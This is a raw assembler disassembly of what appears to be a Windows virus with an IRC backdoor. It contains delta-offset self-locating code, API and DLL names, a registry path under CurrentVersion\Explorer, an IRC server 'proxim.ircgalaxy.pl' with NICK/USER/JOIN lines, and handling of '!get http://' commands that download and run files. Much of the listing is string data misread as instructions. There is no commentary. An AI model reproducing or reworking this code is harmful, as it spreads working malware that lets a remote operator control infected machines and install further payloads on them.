		db  65h	; e
		db  41h	; A
		db    0
		db  43h	; C
		db  72h	; r
		db  65h	; e
		db  61h	; a
		db  74h	; t
		db  65h	; e
		db  46h	; F
		db  69h	; i
		db  6Ch	; l
		db  65h	; e
		db  4Dh	; M
		db  61h	; a
		db  70h	; p
		db  70h	; p
		db  69h	; i
		db  6Eh	; n
		db  67h	; g
		db  41h	; A
		db    0
		db  43h	; C
		db  72h	; r
		db  65h	; e
		db  61h	; a
		db  74h	; t
		db  65h	; e
		db  50h	; P
		db  72h	; r
		db  6Fh	; o
		db  63h	; c
		db  65h	; e
		db  73h	; s
		db  73h	; s
		db  41h	; A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A683


loc_40A70D:				; CODE XREF: sub_40A683+1Fj
					; sub_40A683+21j
		add	[ebx+72h], al
		db	65h
		popa
		jz	short near ptr loc_40A777+2


loc_40A714:				; CODE XREF: sub_40A683+2Aj
		push	edx
		db	65h
		insd
		outsd
		jz	short loc_40A77F
		push	esp
		push	64616572h
		add	[ebx+72h], al
		db	65h
		popa
		jz	short near ptr loc_40A78A+2
		push	esp
		push	64616572h
		add	[ebx+72h], al
		db	65h
		popa
		jz	short near ptr loc_40A796+3
		push	esp
		outsd
		outsd
		insb
		push	33706C65h
		xor	dl, [ebx+6Eh]
		popa
		jo	short near ptr loc_40A7B5+1
		push	4500746Fh
		js	short loc_40A7B3
		jz	short near ptr loc_40A79F+1
		push	64616572h
		add	[esi+69h], al
		insb
		db	65h
		push	esp
		imul	ebp, [ebp+65h],	79536F54h
		jnb	short loc_40A7D4
		db	65h
		insd
		push	esp
		imul	ebp, [ebp+65h],	65724600h
		db	65h
		dec	esp
		imul	esp, [edx+72h],	797261h
		inc	edi
		db	65h
		jz	short near ptr loc_40A7B7+6


loc_40A777:				; CODE XREF: sub_40A683+8Fj
		imul	ebp, [ebp+41h],	69727474h


loc_40A77F:				; CODE XREF: sub_40A683+95j
		bound	esi, [ebp+74h]
		db	65h
		jnb	short loc_40A7C6
		add	[edi+65h], al
		jz	short near ptr loc_40A7CF+1


loc_40A78A:				; CODE XREF: sub_40A683+A2j
		imul	ebp, [ebp+53h],	657A69h
		inc	edi
		db	65h
		jz	short loc_40A7DC


loc_40A796:				; CODE XREF: sub_40A683+AFj
		imul	ebp, [ebp+54h],	656D69h
		inc	edi


loc_40A79F:				; CODE XREF: sub_40A683+C7j
		db	65h
		jz	short near ptr loc_40A7EE+1
		outsd
		db	64h
		jnz	short near ptr loc_40A80D+5
		db	65h
		dec	eax
		popa
		outsb
		db	64h
		insb
		db	65h
		inc	ecx
		add	[edi+65h], al
		jz	short near ptr loc_40A801+6


loc_40A7B3:				; CODE XREF: sub_40A683+C5j
		db	65h
		insd


loc_40A7B5:				; CODE XREF: sub_40A683+BEj
		jo	short near ptr loc_40A7FB+2


loc_40A7B7:				; CODE XREF: sub_40A683+F1j
		imul	ebp, [ebp+4Eh],	41656D61h
		add	[edi+65h], al
		jz	short near ptr loc_40A815+3
		db	65h
		insd


loc_40A7C6:				; CODE XREF: sub_40A683+FFj
		jo	short near ptr loc_40A815+3
		popa
		jz	short near ptr loc_40A832+1
		inc	ecx
		add	[edi+65h], al


loc_40A7CF:				; CODE XREF: sub_40A683+105j
		jz	short loc_40A827
		db	65h
		jb	short near ptr loc_40A846+1


loc_40A7D4:				; CODE XREF: sub_40A683+DBj
		imul	ebp, [edi+6Eh],	74654700h
		push	esi


loc_40A7DC:				; CODE XREF: sub_40A683+110j
		db	65h
		jb	short near ptr loc_40A850+2
		imul	ebp, [edi+6Eh],	417845h
		inc	edi
		db	65h
		jz	short near ptr loc_40A83F+1
		outsd
		insb
		jnz	short near ptr loc_40A855+6


loc_40A7EE:				; CODE XREF: sub_40A683:loc_40A79Fj
		db	65h
		dec	ecx
		outsb
		outsw
		jb	short near ptr loc_40A860+2
		popa
		jz	short near ptr loc_40A860+1
		outsd
		outsb
		inc	ecx


loc_40A7FB:				; CODE XREF: sub_40A683:loc_40A7B5j
		add	[edi+ebp*2+61h], cl
		db	64h
		dec	esp


loc_40A801:				; CODE XREF: sub_40A683+12Ej
		imul	esp, [edx+72h],	41797261h
		add	[ebp+61h], cl
		jo	short loc_40A863


loc_40A80D:				; CODE XREF: sub_40A683+120j
		imul	esp, [ebp+77h],	6946664Fh
		insb


loc_40A815:				; CODE XREF: sub_40A683+13Fj
					; sub_40A683:loc_40A7C6j
		add	gs:[edi+70h], cl
		outs	dx, byte ptr gs:[esi]
		inc	esi
		imul	ebp, [ebp+4Dh],	69707061h
		outsb
		db	67h
		inc	ecx


loc_40A827:				; CODE XREF: sub_40A683:loc_40A7CFj
		add	[edi+70h], cl
		outs	dx, byte ptr gs:[esi]
		push	eax
		jb	short near ptr loc_40A89D+1
		arpl	[ebp+73h], sp


loc_40A832:				; CODE XREF: sub_40A683+146j
		jnb	short $+2
		push	eax
		jb	short loc_40A8A6
		arpl	[ebp+73h], sp
		jnb	short near ptr loc_40A868+7
		xor	al, [esi+69h]


loc_40A83F:				; CODE XREF: sub_40A683+164j
		jb	short near ptr loc_40A8AE+6
		jz	short $+2
		push	eax
		jb	short near ptr loc_40A8AE+7


loc_40A846:				; CODE XREF: sub_40A683+14Ej
		arpl	[ebp+73h], sp
		jnb	short near ptr loc_40A87D+1
		xor	cl, [esi+65h]
		js	short near ptr loc_40A8C0+4


loc_40A850:				; CODE XREF: sub_40A683:loc_40A7DCj
		add	[ebx+65h], dl
		jz	short near ptr loc_40A899+2


loc_40A855:				; CODE XREF: sub_40A683+169j
		imul	ebp, [ebp+41h],	69727474h
		bound	esi, [ebp+74h]


loc_40A860:				; CODE XREF: sub_40A683+173j
					; sub_40A683+170j
		db	65h
		jnb	short loc_40A8A4


loc_40A863:				; CODE XREF: sub_40A683+188j
		add	[ebx+65h], dl
		jz	short loc_40A8AE


loc_40A868:				; CODE XREF: sub_40A683+1B7j
		imul	ebp, [ebp+54h],	656D69h
		push	ebx
		insb
		db	65h, 65h
		jo	short $+4
		push	ebx
		jns	short loc_40A8EC
		jz	short loc_40A8E0
		insd
		push	esp


loc_40A87D:				; CODE XREF: sub_40A683+1C6j
		imul	ebp, [ebp+65h],	69466F54h
		insb
		db	65h
		push	esp
		imul	ebp, [ebp+65h],	6D6E5500h
		popa
		jo	short loc_40A8E7
		imul	esp, [ebp+77h],	6946664Fh
		insb


loc_40A899:				; CODE XREF: sub_40A683+1D0j
		add	gs:[esi+69h], dl


loc_40A89D:				; CODE XREF: sub_40A683+1AAj
		jb	short near ptr loc_40A912+1
		jnz	short loc_40A902
		insb
		inc	ecx
		insb


loc_40A8A4:				; CODE XREF: sub_40A683:loc_40A860j
		insb
		outsd


loc_40A8A6:				; CODE XREF: sub_40A683+1B2j
		arpl	[eax], ax
		push	edi
		jb	short loc_40A914
		jz	short loc_40A912
		inc	esi


loc_40A8AE:				; CODE XREF: sub_40A683+1E3j
					; sub_40A683:loc_40A83Fj ...
		imul	ebp, [ebp+0], 6441744Eh
		push	75h
		jnb	short loc_40A92E
		push	eax
		jb	short near ptr loc_40A923+3
		jbe	short near ptr loc_40A923+5
		insb


loc_40A8C0:				; CODE XREF: sub_40A683+1CBj
		db	65h, 67h, 65h
		jnb	near ptr 0A919h
		outsd
		imul	esp, [ebp+6Eh],	0
		dec	esi
		jz	short near ptr loc_40A90F+1
		jb	short near ptr loc_40A933+1
		popa
		jz	short loc_40A937
		inc	esi
		imul	ebp, [ebp+0], 7243744Eh
		db	65h
		popa
		jz	short loc_40A944
		push	eax


loc_40A8E0:				; CODE XREF: sub_40A683+1F6j
		jb	short loc_40A951
		arpl	[ebp+73h], sp
		jnb	short $+2


loc_40A8E7:				; CODE XREF: sub_40A683+20Cj
		dec	esi
		jz	short near ptr loc_40A92A+3
		jb	short loc_40A951


loc_40A8EC:				; CODE XREF: sub_40A683+1F4j
		popa
		jz	short loc_40A954
		push	eax
		jb	short loc_40A961
		arpl	[ebp+73h], sp
		jnb	short near ptr loc_40A937+5
		js	short $+2
		dec	esi
		jz	short loc_40A93F
		jb	short loc_40A963
		popa
		jz	short near ptr loc_40A963+3
		push	ebx


loc_40A902:				; CODE XREF: sub_40A683+21Cj
		arpl	gs:[ecx+ebp*2+6Fh], si
		outsb
		add	[esi+74h], cl
		inc	ebx
		jb	short near ptr loc_40A972+1
		popa


loc_40A90F:				; CODE XREF: sub_40A683+248j
		jz	short loc_40A976
		push	ebp


loc_40A912:				; CODE XREF: sub_40A683+228j
					; sub_40A683:loc_40A89Dj
		jnb	short near ptr loc_40A978+1


loc_40A914:				; CODE XREF: sub_40A683+226j
		jb	short near ptr loc_40A963+3
		jb	short loc_40A987
		arpl	[ebp+73h], sp
		jnb	short $+2
		dec	esi
		jz	short loc_40A96D
		popa
		jo	short near ptr loc_40A978+1


loc_40A923:				; CODE XREF: sub_40A683+238j
					; sub_40A683+23Aj
		imul	esp, [ebp+77h],	6553664Fh


loc_40A92A:				; CODE XREF: sub_40A683+265j
		arpl	[ecx+ebp*2+6Fh], si


loc_40A92E:				; CODE XREF: sub_40A683+235j
		outsb
		add	[esi+74h], cl
		dec	edi


loc_40A933:				; CODE XREF: sub_40A683+24Aj
		jo	short loc_40A99A
		outsb
		inc	esi


loc_40A937:				; CODE XREF: sub_40A683+24Dj
					; sub_40A683+272j
		imul	ebp, [ebp+0], 704F744Eh


loc_40A93F:				; CODE XREF: sub_40A683+277j
		outs	dx, byte ptr gs:[esi]
		push	eax
		jb	short loc_40A9B3


loc_40A944:				; CODE XREF: sub_40A683+25Aj
		arpl	[ebp+73h], sp
		jnb	short loc_40A99D
		outsd
		imul	esp, [ebp+6Eh],	0
		dec	esi
		jz	short near ptr loc_40A99F+1


loc_40A951:				; CODE XREF: sub_40A683:loc_40A8E0j
					; sub_40A683+267j
		jo	short near ptr loc_40A9B7+1
		outsb


loc_40A954:				; CODE XREF: sub_40A683+26Aj
		push	ebx
		arpl	gs:[ecx+ebp*2+6Fh], si
		outsb
		add	[esi+74h], cl
		push	eax
		jb	short near ptr loc_40A9CF+1


loc_40A961:				; CODE XREF: sub_40A683+26Dj
		jz	short near ptr loc_40A9C7+1


loc_40A963:				; CODE XREF: sub_40A683+279j
					; sub_40A683+27Cj ...
		arpl	[esi+edx*2+69h], si
		jb	short loc_40A9DD
		jnz	short near ptr loc_40A9CB+1
		insb
		dec	ebp


loc_40A96D:				; CODE XREF: sub_40A683+29Bj
		db	65h
		insd
		outsd
		jb	short near ptr loc_40A9E8+3


loc_40A972:				; CODE XREF: sub_40A683+289j
		add	[esi+74h], cl
		push	ecx


loc_40A976:				; CODE XREF: sub_40A683:loc_40A90Fj
		jnz	short loc_40A9DD


loc_40A978:				; CODE XREF: sub_40A683:loc_40A912j
					; sub_40A683+29Ej
		jb	short near ptr loc_40A9F2+1
		dec	ecx
		outsb
		outsw
		jb	short near ptr loc_40A9EC+1
		popa
		jz	short loc_40A9EC
		outsd
		outsb
		push	esp
		outsd


loc_40A987:				; CODE XREF: sub_40A683+293j
		imul	esp, [ebp+6Eh],	0
		dec	esi
		jz	short near ptr loc_40A9E3+2
		jb	short loc_40A9F9
		jz	short near ptr loc_40A9F6+1
		push	esi
		imul	esi, [edx+74h],	4D6C6175h


loc_40A99A:				; CODE XREF: sub_40A683:loc_40A933j
		db	65h
		insd
		outsd


loc_40A99D:				; CODE XREF: sub_40A683+2C4j
		jb	short loc_40AA18


loc_40A99F:				; CODE XREF: sub_40A683+2CCj
		add	[edx+74h], dl
		insb
		push	ebp
		outsb
		imul	esp, [ebx+6Fh],	74536564h
		jb	short near ptr loc_40AA15+2
		outsb
		db	67h
		push	esp
		outsd
		inc	ecx


loc_40A9B3:				; CODE XREF: sub_40A683+2BFj
		outsb
		jnb	short near ptr loc_40AA1E+1
		push	ebx


loc_40A9B7:				; CODE XREF: sub_40A683:loc_40A951j
		jz	short loc_40AA2B
		imul	ebp, [esi+67h],	41535700h
		push	ebx
		jz	short loc_40AA24
		jb	short loc_40AA39
		jnz	short near ptr loc_40AA36+1


loc_40A9C7:				; CODE XREF: sub_40A683:loc_40A961j
		add	[ebx+6Ch], ah
		outsd


loc_40A9CB:				; CODE XREF: sub_40A683+2E6j
		jnb	short loc_40AA32
		jnb	short near ptr loc_40AA3D+1


loc_40A9CF:				; CODE XREF: sub_40A683+2DCj
		arpl	[ebx+65h], bp
		jz	short $+2
		arpl	[edi+6Eh], bp
		outsb
		arpl	gs:[eax+eax+67h], si


loc_40A9DD:				; CODE XREF: sub_40A683+2E4j
					; sub_40A683:loc_40A976j
		db	65h
		jz	short near ptr loc_40AA47+1
		outsd
		jnb	short near ptr loc_40AA55+2


loc_40A9E3:				; CODE XREF: sub_40A683+309j
		bound	edi, [ecx+6Eh]
		popa
		insd


loc_40A9E8:				; CODE XREF: sub_40A683+2EDj
		add	gs:[edx+65h], dh


loc_40A9EC:				; CODE XREF: sub_40A683+2FEj
					; sub_40A683+2FBj
		arpl	[esi+0], si
		jnb	short near ptr loc_40AA55+1
		outsb


loc_40A9F2:				; CODE XREF: sub_40A683:loc_40A978j
		add	fs:[ebx+6Fh], dh


loc_40A9F6:				; CODE XREF: sub_40A683+30Dj
		arpl	[ebx+65h], bp


loc_40A9F9:				; CODE XREF: sub_40A683+30Bj
		jz	short $+2
		dec	ecx
		outsb
		jz	short loc_40AA64
		jb	short loc_40AA6F
		db	65h
		jz	short loc_40AA47
		insb
		outsd
		jnb	short near ptr loc_40AA6C+1
		dec	eax
		popa
		outsb
		db	64h
		insb
		add	gs:[ecx+6Eh], cl
		jz	short loc_40AA78
		jb	short near ptr loc_40AA82+1


loc_40AA15:				; CODE XREF: sub_40A683+329j
		db	65h
		jz	short loc_40AA5F


loc_40AA18:				; CODE XREF: sub_40A683:loc_40A99Dj
		db	65h
		jz	short loc_40AA5E
		outsd
		outsb
		outsb


loc_40AA1E:				; CODE XREF: sub_40A683+331j
		arpl	gs:[ebp+64h], si
		push	ebx


loc_40AA24:				; CODE XREF: sub_40A683+33Ej
		jz	short near ptr loc_40AA86+1
		jz	short loc_40AA8D
		add	[ecx+6Eh], cl


loc_40AA2B:				; CODE XREF: sub_40A683:loc_40A9B7j
		jz	short near ptr loc_40AA90+2
		jb	short loc_40AA9D
		db	65h
		jz	short near ptr loc_40AA7F+2


loc_40AA32:				; CODE XREF: sub_40A683:loc_40A9CBj
		jo	short loc_40AA99
		outsb
		inc	ecx


loc_40AA36:				; CODE XREF: sub_40A683+342j
		add	[ecx+6Eh], cl


loc_40AA39:				; CODE XREF: sub_40A683+340j
		jz	short near ptr loc_40AA9F+1
		jb	short loc_40AAAB


loc_40AA3D:				; CODE XREF: sub_40A683+34Aj
		db	65h
		jz	short near ptr loc_40AA8E+1
		jo	short loc_40AAA7
		outsb
		push	ebp
		jb	short near ptr loc_40AAB0+2
		inc	ecx


loc_40AA47:				; CODE XREF: sub_40A683+37Ej
					; sub_40A683:loc_40A9DDj
		add	[ecx+6Eh], cl
		jz	short near ptr loc_40AAB0+1
		jb	short loc_40AABC
		db	65h
		jz	short near ptr loc_40AAA2+1
		db	65h
		popa
		db	64h
		inc	esi


loc_40AA55:				; CODE XREF: sub_40A683+36Cj
					; sub_40A683+35Ej
		imul	ebp, [ebp+0], 41564441h
		push	eax


loc_40AA5E:				; CODE XREF: sub_40A683:loc_40AA18j
		dec	ecx


loc_40AA5F:				; CODE XREF: sub_40A683:loc_40AA15j
		xor	esi, [edx]
		db	2Eh
		inc	esp
		dec	esp


loc_40AA64:				; CODE XREF: sub_40A683+37Aj
		dec	esp
		add	[edx+65h], dl
		db	67h
		inc	ebx
		insb
		outsd


loc_40AA6C:				; CODE XREF: sub_40A683+383j
		jnb	short near ptr loc_40AAD1+2
		dec	ebx


loc_40AA6F:				; CODE XREF: sub_40A683+37Cj
		db	65h
		jns	short $+3
		push	edx
		db	65h, 67h
		dec	edi
		jo	short loc_40AADD


loc_40AA78:				; CODE XREF: sub_40A683+38Ej
		outsb
		dec	ebx
		db	65h
		jns	short near ptr loc_40AAC0+2
		js	short loc_40AAC0


loc_40AA7F:				; CODE XREF: sub_40A683+3ACj
		add	[edx+65h], dl


loc_40AA82:				; CODE XREF: sub_40A683+390j
		db	67h
		push	ecx
		jnz	short loc_40AAEB


loc_40AA86:				; CODE XREF: sub_40A683:loc_40AA24j
		jb	short near ptr loc_40AB00+1
		push	esi
		popa
		insb
		jnz	short near ptr loc_40AAF1+1


loc_40AA8D:				; CODE XREF: sub_40A683+3A3j
		inc	ebp


loc_40AA8E:				; CODE XREF: sub_40A683:loc_40AA3Dj
		js	short loc_40AAD1


loc_40AA90:				; CODE XREF: sub_40A683:loc_40AA2Bj
		add	[edx+65h], dl
		db	67h
		push	ebx
		db	65h
		jz	short loc_40AAEE
		popa


loc_40AA99:				; CODE XREF: sub_40A683:loc_40AA32j
		insb
		jnz	short near ptr loc_40AB00+1
		inc	ebp


loc_40AA9D:				; CODE XREF: sub_40A683+3AAj
		js	short loc_40AAE0


loc_40AA9F:				; CODE XREF: sub_40A683:loc_40AA39j
		add	[esi+33h], dl


loc_40AAA2:				; CODE XREF: sub_40A683+3CBj
		imul	byte ptr [edx+2]
		push	esi
		push	esi


loc_40AAA7:				; CODE XREF: sub_40A683+3BDj
		mov	edx, esp
		push	1


loc_40AAAB:				; CODE XREF: sub_40A683+3B8j
		push	edx
		push	dword ptr [edx+18h]
		push	esi


loc_40AAB0:				; CODE XREF: sub_40A683+3C7j
					; sub_40A683+3C1j
		call	dword ptr [ebp+10428Ch]
		mov	eax, esp
		push	esi
		push	esi
		push	esi
		push	eax


loc_40AABC:				; CODE XREF: sub_40A683+3C9j
		push	esi
		push	dword ptr [eax+18h]


loc_40AAC0:				; CODE XREF: sub_40A683+3FAj
					; sub_40A683+3F7j
		call	dword ptr [ebp+103EFAh]
		add	esp, 10h
		pop	esi
		retn	8
; END OF FUNCTION CHUNK	FOR sub_40A683
; ---------------------------------------------------------------------------
		db  8Dh	; 
		db  49h	; I
		db 0FBh	; û
		db  2Bh	; +
; ---------------------------------------------------------------------------


loc_40AAD1:				; CODE XREF: sub_40A683:loc_40AA8Ej
					; sub_40A683:loc_40AA6Cj
		enter	6851h, 0
; ---------------------------------------------------------------------------
		db    0
		db    0
		db 0E8h	; è
		db  8Dh	; 
		db  4Ch	; L
		db  24h	; $
		db    3
		db  6Ah	; j
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A683


loc_40AADD:				; CODE XREF: sub_40A683+3F3j
		add	[edx+5], ch


loc_40AAE0:				; CODE XREF: sub_40A683:loc_40AA9Dj
		push	ecx
		push	eax
		push	ebx
		push	5
		mov	ecx, esp
		push	eax
		mov	edx, esp
		push	eax


loc_40AAEB:				; CODE XREF: sub_40A683+401j
		push	esp
		push	40h


loc_40AAEE:				; CODE XREF: sub_40A683+412j
		push	ecx
		push	edx
		push	ebx


loc_40AAF1:				; CODE XREF: sub_40A683+408j
		call	dword ptr [ebp+103F22h]
		add	esp, 0Ch
		call	dword ptr [ebp+103F2Ah]


loc_40AB00:				; CODE XREF: sub_40A683:loc_40AA86j
					; sub_40A683+417j
		add	esp, 8
		retn
; END OF FUNCTION CHUNK	FOR sub_40A683
; ---------------------------------------------------------------------------
		db  8Dh	; 
		db  95h	; •
		db  30h	; 0
		db  3Eh	; >
		db  10h
		db    0
		db  33h	; 3
		db 0C9h	; É
		db  6Ah	; j
		db    0
		db  52h	; R
		db  68h	; h
		db  30h	; 0
		db    0
		db  32h	; 2
		db    0
		db  8Bh	; ‹
		db 0C4h	; Ä
		db  51h	; Q
		db  51h	; Q
		db  6Ah	; j
		db  40h	; @
		db  50h	; P
		db  51h	; Q
		db  6Ah	; j
		db  18h
		db  83h	; ƒ
		db 0C0h	; À
		db    8
		db  54h	; T
		db  6Ah	; j
		db  0Eh
		db  50h	; P
		db 0FFh
		db  95h	; •
		db  1Eh
		db  3Fh	; ?
		db  10h
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  20h
		db  33h	; 3
		db 0D2h	; Ò
		db  85h	; …
		db 0C0h	; À
		db  0Fh
		db  99h	; ™
		db 0C2h	; Â
		db 0F7h	; ÷
		db 0DAh	; Ú
		db  58h	; X
		db  23h	; #
		db 0C2h	; Â
		db 0C3h	; Ã
		db  57h	; W
		db  33h	; 3
		db 0FFh
		db 0E8h	; è
		db 0C1h	; Á
		db 0FFh
		db 0FFh
		db 0FFh
		db  0Fh
		db  84h	; „
		db 0A5h	; ¥
		db    0
		db    0
		db    0
		db  50h	; P
		db  68h	; h
		db  28h	; (
		db  73h	; s
		db    0
		db    0
		db  8Bh	; ‹
		db 0D4h	; Ô
		db  6Ah	; j
		db    0
		db  8Bh	; ‹
		db 0CCh	; Ì
		db  6Ah	; j
		db  40h	; @
		db  68h	; h
		db    0
		db    0
		db  10h
		db    0
		db  6Ah	; j
		db    2
		db  52h	; R
		db  6Ah	; j
		db    0
		db  68h	; h
		db  28h	; (
		db  73h	; s
		db    0
		db    0
		db  6Ah	; j
		db    0
		db  51h	; Q
		db  53h	; S
		db  50h	; P
		db 0FFh
		db  95h	; •
		db  12h
		db  3Fh	; ?
		db  10h
		db    0
		db  5Fh	; _
		db  59h	; Y
		db 0FFh
		db  95h	; •
		db  62h	; b
		db  3Eh	; >
		db  10h
		db    0
		db  85h	; …
		db 0FFh
		db  74h	; t
		db  71h	; q
		db  8Bh	; ‹
		db  8Dh	; 
		db  90h	; 
		db  15h
		db  10h
		db    0
		db 0E3h	; ã
		db  0Ch
		db  8Dh	; 
		db  95h	; •
		db    0
		db  10h
		db  10h
		db    0
		db    3
		db 0D1h	; Ñ
		db  57h	; W
		db  53h	; S
		db 0FFh
		db 0D2h	; Ò
		db  8Bh	; ‹
		db  85h	; …
		db 0FEh	; þ
		db  3Eh	; >
		db  10h
		db    0
		db  8Dh	; 
		db  8Fh	; 
		db  16h
		db  29h	; )
		db    0
		db    0
		db 0E8h	; è
		db  2Bh	; +
		db 0FFh
		db 0FFh
		db 0FFh
		db  8Bh	; ‹
		db  85h	; …
		db  16h
		db  3Fh	; ?
		db  10h
		db    0
		db  8Dh	; 
		db  8Fh	; 
		db  63h	; c
		db  29h	; )
		db    0
		db    0
		db 0E8h	; è
		db  1Ah
		db 0FFh
		db 0FFh
		db 0FFh
		db  8Bh	; ‹
		db  85h	; …
		db    2
		db  3Fh	; ?
		db  10h
		db    0
		db  8Dh	; 
		db  8Fh	; 
		db  6Ah	; j
		db  29h	; )
		db    0
		db    0
		db 0E8h	; è
		db    9
		db 0FFh
		db 0FFh
		db 0FFh
		db  8Bh	; ‹
		db  85h	; …
		db    6
		db  3Fh	; ?
		db  10h
		db    0
		db  85h	; …
		db 0C0h	; À
		db  74h	; t
		db  20h
		db  8Dh	; 
		db  8Fh	; 
		db  77h	; w
		db  29h	; )
		db    0
		db    0
		db 0E8h	; è
		db 0F4h	; ô
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  8Bh	; ‹
		db  85h	; …
		db  0Eh
		db  3Fh	; ?
		db  10h
		db    0
		db  85h	; …
		db 0C0h	; À
		db  74h	; t
		db  0Bh
		db  8Dh	; 
		db  8Fh	; 
		db  84h	; „
		db  29h	; )
		db    0
		db    0
		db 0E8h	; è
		db 0DFh	; ß
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  8Bh	; ‹
		db 0C7h	; Ç
		db  5Fh	; _
		db 0C3h	; Ã
		db  55h	; U
		db 0E8h	; è
		db    0
		db    0
		db    0
		db    0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 101B24h
		xor	ecx, ecx
		lea	eax, [ebp+101EAFh]
		push	ecx
		push	esp
		push	ecx
		push	ecx
		push	eax
		push	ecx
		push	ecx
		call	dword ptr [ebp+103E8Eh]
		xchg	eax, [esp]
		call	dword ptr [ebp+103E62h]
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		db 55h,	0E8h, 0
		dd 5D000000h, 1B53ED81h, 0FF6A0010h, 1B1E958Dh,	52500010h
		dd 2420CDh, 0C483002Ah,	85C7660Ch, 101B64h, 85C720CDh
		dd 101B66h, 2A0024h, 1A6AC35Dh,	9E858h,	428D0000h, 0C9FEAA61h
		dd 69C3F075h, 103F7C95h, 8840500h, 95894208h, 103F7Ch
		dd 55C3E2F7h, 0E8h, 0ED815D00h,	101BADh, 3F809D8Bh, 7C830010h
		dd 0F000824h, 0B984h, 8EC8100h,	54000002h, 10468h, 0B695FF00h
		dd 8B00103Eh, 24848DFCh, 104h, 0E8006A50h, 4, 525256h
		dd 0B295FF57h, 3300103Eh, 4978DC9h, 51000001h, 51026A51h
		dd 68016Ah, 52400000h, 3E7E95FFh, 85960010h, 505B74F6h
		dd 1046854h, 0FF570000h, 22024B4h, 95FF0000h, 103F5Eh
		dd 74C08559h, 5014E316h, 6AD48Bh, 56575152h, 3EF695FFh
		dd 85590010h, 56D075C0h, 3E6295FFh, 578D0010h, 6A575244h
		dd 978D5844h, 104h, 6AC033ABh, 0ABF35910h, 50505050h, 52505050h
		dd 3E8695FFh, 0C4810010h, 208h,	82474FFh, 3F4E95FFh, 0FF530010h
		dd 103F4E95h, 4C25D00h,	0A3E8000h, 8B460175h, 10158C8Dh
		dd 8D19E300h, 10100095h, 56D10300h, 0C084D2FFh,	11F880Fh
		dd 840F0000h, 110h, 753A3E80h, 3E804610h, 1840F00h, 80000001h
		dd 0F175203Eh, 503E8146h, 75474E49h, 0C6CF8B42h, 2B4F0146h
		dd 6A51CEh, 0FF535651h,	103F4695h, 0C13B5900h, 0DF850Fh
		dd 858D0000h, 101EA3h, 0C68006Ah, 50000000h, 4695FF53h
		dd 3D00103Fh, 0Ch, 0BF850Fh, 0B1E90000h, 81000000h, 4952503Eh
		dd 0A5850F56h, 83000000h, 3CAC08C6h, 99840F0Dh,	3C000000h
		dd 0ACF37520h, 850F3A3Ch, 8Ch, 20200DADh, 213D2020h, 75746567h
		dd 203CAC7Fh, 7E817C75h, 746820FFh, 81717574h, 3A70037Eh
		dd 68752F2Fh, 0FF47C6h,	10BA310Fh, 0F7000027h, 95FF52E2h
		dd 103EE6h, 5050C033h, 9E85050h, 44000000h, 6C6E776Fh
		dd 64616Fh, 3F5695FFh, 0C0850010h, 0C9333674h, 3F808589h
		dd 68510010h, 80000200h, 50565151h, 3F5A95FFh, 958D0010h
		dd 101BA7h, 54C93350h, 51525051h, 8E95FF51h, 8700103Eh
		dd 95FF2404h, 103E62h, 8D80C3F8h, 10157Fh, 6AC3F901h, 0FF016A01h
		dd 473FF33h, 0C08515FFh, 0DB335A74h, 0BB3D08Bh,	8D3C5003h
		dd 101DCBB5h, 0CBA8B00h, 8B000001h, 1088Ah, 2BF80300h
		dd 0CB8B60CBh, 7461A6F3h, 0F5E24705h, 0C7832EEBh, 0CC8B530Fh
		dd 50D48B57h, 51406A54h, 0FFFF6A52h, 103F2295h,	968D8B00h
		dd 8300103Eh, 0CF2B0CC4h, 0C707E983h, 0E8006A07h, 34F8900h
		dd 464F53C3h, 52415754h, 694D5C45h, 736F7263h, 5C74666Fh
		dd 646E6957h, 5C73776Fh, 72727543h, 56746E65h, 69737265h
		dd 455C6E6Fh, 6F6C7078h, 726572h, 67726154h, 6F487465h
		dd 2007473h, 500000h, 70000000h, 69786F72h, 72692E6Dh
		dd 6C616763h, 2E797861h, 4E006C70h, 204B4349h, 6A6E6F68h
		dd 6F637A66h, 4553550Ah, 4A6C2052h, 204E494Fh, 72697626h
		dd 550A7574h, 0E8h, 0ED815D00h,	101EB5h, 157F85C6h, 0FF000010h
		dd 103EBA95h, 1FE8C100h, 1E6A3C74h, 3E72B58Bh, 0AC590010h
		dd 2A752E3Ch, 0FF3E8166h, 8D23751Dh, 103F76BDh,	2768B00h
		dd 0A566A557h, 38EC858Dh, 858F0010h, 103912h, 0FA4689FAh
		dd 0FBFE4E8Ch, 0CFE201B1h, 21E850EBh, 83FFFFFBh, 408247Ch
		dd 8E84475h, 53000000h,	442E4346h, 0FF004C4Ch, 103EC695h
		dd 74C00B00h, 26A930Dh,	6E95FF53h, 0FF00103Eh, 97E893D0h
		dd 0E8FFFFFEh, 0Bh, 5F434653h, 442E534Fh, 0FF004C4Ch, 103EC695h
		dd 0FE7CE800h, 0E8FFFFh, 0FFFFFFF6h, 1012D48Dh,	8DC93300h
		dd 10432485h, 51515100h, 51515051h, 0C295FF51h,	0E800103Eh
		dd 0Bh,	52455355h, 442E3233h, 0FF004C4Ch, 103EC695h, 0AE800h
		dd 73770000h, 6E697270h, 416674h, 6E95FF50h, 8900103Eh
		dd 103E7685h, 8D310F00h, 1019858Dh, 7C858900h, 5100103Fh
		dd 3EC695FFh, 68930010h, 4, 1992B58Dh, 8D590010h, 103F62BDh
		dd 0F5C2E800h, 0C766FFFFh, 101E7585h, 83500000h, 101E77A5h
		dd 958D0000h, 101E35h, 16A5450h, 6852006Ah, 80000002h
		dd 3F6695FFh, 0C0850010h, 8D22755Ah, 101E688Dh,	66A5200h
		dd 1E75B58Dh, 56540010h, 52515050h, 3F6A95FFh, 0FF580010h
		dd 103F6295h, 8385C600h, 1041h,	0CE8h, 4F535700h, 32334B43h
		dd 4C4C442Eh, 0C695FF00h, 9300103Eh, 768h, 0E9B58D00h
		dd 59001018h, 3F32BD8Dh, 3DE80010h, 0E8FFFFF5h,	0Ch, 494E4957h
		dd 2E54454Eh, 4C4C44h, 3EC695FFh, 0C0850010h, 235840Fh
		dd 68930000h, 5, 1927B58Dh, 8D590010h, 103F4EBDh, 0F506E800h
		dd 0BD83FFFFh, 103F52h,	10840F00h, 81000002h, 190ECh, 1685400h
		dd 0FF000001h, 103F3295h, 90C48100h, 50000001h,	6AD48Bh
